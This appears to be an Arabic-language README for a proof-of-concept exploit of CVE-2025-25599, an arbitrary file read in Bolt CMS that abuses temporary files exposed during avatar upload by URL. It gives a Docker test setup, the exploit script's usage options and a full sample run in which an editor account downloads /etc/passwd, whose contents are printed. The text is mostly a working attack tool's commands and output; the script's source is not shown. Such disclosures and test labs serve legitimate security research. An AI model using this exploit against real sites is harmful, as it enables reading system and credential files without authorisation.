
إثبات المفهوم لـ CVE-2025-25599
Bolt هو نظام إدارة محتوى مفتوح المصدر مبني باستخدام إطار Symfony PHP. خلال تقييم أمني قصير، حددت Certitude العديد من الثغرات بما في ذلك قراءة ملف تعسفي.
يمكن للمستخدمين الذين لديهم دور محرر أو رئيس المحررين أو مسؤول أو مطور إساءة استخدام كشف ملف مؤقت غير آمن عند تحميل صورة رمزية عبر URL من أجل قراءة ملفات تعسفية من الخادم الأساسي.
لمزيد من التفاصيل، يرجى الرجوع إلى هذا المقال.
يتم تضمين حاوية دوكر للاختبار. تقوم بتثبيت وتشغيل Bolt CMS 2.3.20 من composer على قاعدة دبيان. عند التشغيل، يمكن الوصول إلى Bolt على http://localhost:8001.
sudo docker compose up --build
python3 poc.py -h
usage: poc.py [-h] -u USERNAME -p PASSWORD -U URL [-f FILE] [-v] [-o OUT]
Proof of concept script for CVE-2025-25599
options:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Username of a user who has the EDITOR role or higher
-p PASSWORD, --password PASSWORD
-U URL, --url URL URL for website running Bolt CMS (e.g. http://127.0.0.1)
-f FILE, --file FILE (Optional) Full path of the file to download (Default: /etc/passwd)
-v, --verbose (Optional) Increase verbosity
-o OUT, --out OUT (Optional) Path to store downloaded file
python3 poc.py -u editor -p password -U http://localhost:8001/ -f /etc/passwd -v
[+] Found Bolt login page
[*] _token = 3fa91864a4dce766...SNIP...ERwLEK7jMnXOarGA
[+] Logged in as "editor"
[*] _csrf_token = 42fd9dc3d163fdff...SNIP...ti7VhvNHsH0xSi-A
[*] Starting upload and download threads...
[+] Downloaded "/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin